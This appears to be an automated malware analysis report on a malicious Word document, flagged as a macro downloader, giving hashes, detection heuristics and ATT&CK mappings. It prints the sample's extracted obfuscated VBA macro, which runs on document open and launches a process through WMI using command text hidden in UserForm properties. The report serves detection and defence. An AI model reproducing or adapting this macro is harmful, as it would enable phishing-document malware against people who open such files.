Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8077cb8beab31be6…

MALICIOUS

Office (OLE)

178.1 KB Created: 2020-08-06 11:08:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: a0f3174f40ca03209e8686fb02dc3a4a SHA-1: f2bfdaac636d81ba10eabd2c43def212267ccc01 SHA-256: 8077cb8beab31be6f1ab2d11a0f268388af485e5ce5ce2b0db95aa32ce37e46b
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of CreateObject calls and p-code auto-execution further supports this. The ClamAV detection 'Doc.Downloader.Generic-9236941-0' suggests a downloader functionality, likely to fetch and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9236941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9236941-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4118 bytes
SHA-256: 6ddc6eb613e704cd201a7ed813fd0502ff1ac59285b2cd301a69f1ab1e1963ab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UBRZHvowlibfwajcsw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
OKJIOwqilezqnugisvd.ZKVSGeznsqwxux
End Sub


Attribute VB_Name = "OKJIOwqilezqnugisvd"
Attribute VB_Base = "0{C9E8E16E-0153-43F1-AB64-3F8AA73C9AAE}{EC4B50D2-EF7C-4597-AAE2-D160768DE69E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ZKVSGeznsqwxux()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
AUXONebluhjxo = Chr(OKJIOwqilezqnugisvd.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
XSPTVhwuzvihubg = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + AUXONebluhjxo + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + OKJIOwqilezqnugisvd.GJSEVzmbeamh + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
QKYWWqvsfqbppj = UDWOFwueuzxqxybqd(XSPTVhwuzvihubg)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set VRYCMgxzhmkfcdthl = CreateObject(QKYWWqvsfqbppj)
Dim MYsmbE7 As Long
GXAUTzxfvkfsm = OKJIOwqilezqnugisvd.YBANPpculsbooxod.ControlTipText
Dim VvSOR1Öop As Variant
XVHWBgmdxkngs = nsbuqwd + (QKYWWqvsfqbppj + AUXONebluhjxo + OKJIOwqilezqnugisvd.VMFYEqpnmjkmqex.ControlTipText + GXAUTzxfvkfsm)
GoTo VB1ÍlR
VB1ÍlR:
UUYVKqxwxnbt = XVHWBgmdxkngs + OKJIOwqilezqnugisvd.GJSEVzmbeamh
Dim u6ÑPouprUqC As Double
Set VBIGAreephmvwoxzim = WCWSKcngnvxiicq(UUYVKqxwxnbt)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", VRYCMgxzhmkfcdthl. _
Create(GRTCHzsigsoublokpa, DSEXCplagidoq, VBIGAreephmvwoxzim), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function WCWSKcngnvxiicq(AUKFEiiphspadubxfl)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set WCWSKcngnvxiicq = CreateObject(AUKFEiiphspadubxfl)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
WCWSKcngnvxiicq. _
showwindow = MBRFSlwmuzkcacmjszk + YLLTNefvstte + FYKVDfhjqxfmzo
Dim uebuZa As Variant
End Function
Function UDWOFwueuzxqxybqd(KSKEVdzetzdxu)
ZKXDKstnaolebxvr = KSKEVdzetzdxu
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
HOUHKsnmcsuzcxiv = Split _
(ZKXDKstnaolebxvr, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
RNJOAdtiuwsmfuslrd = ms + Join(HOUHKsnmcsuzcxiv, e2)
GoTo cDCrGvM
cDCrGvM:
UDWOFwueuzxqxybqd = RNJOAdtiuwsmfuslrd
Dim V5Ü8ÍA As Variant
End Function
Function GRTCHzsigsoublokpa()
kqhlwie = OKJIOwqilezqnugisvd.OLVIRzciygcrcte.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
GRTCHzsigsoublokpa = UDWOFwueuzxqxybqd(kqhlwie)
GoTo aknR
aknR:
End Function

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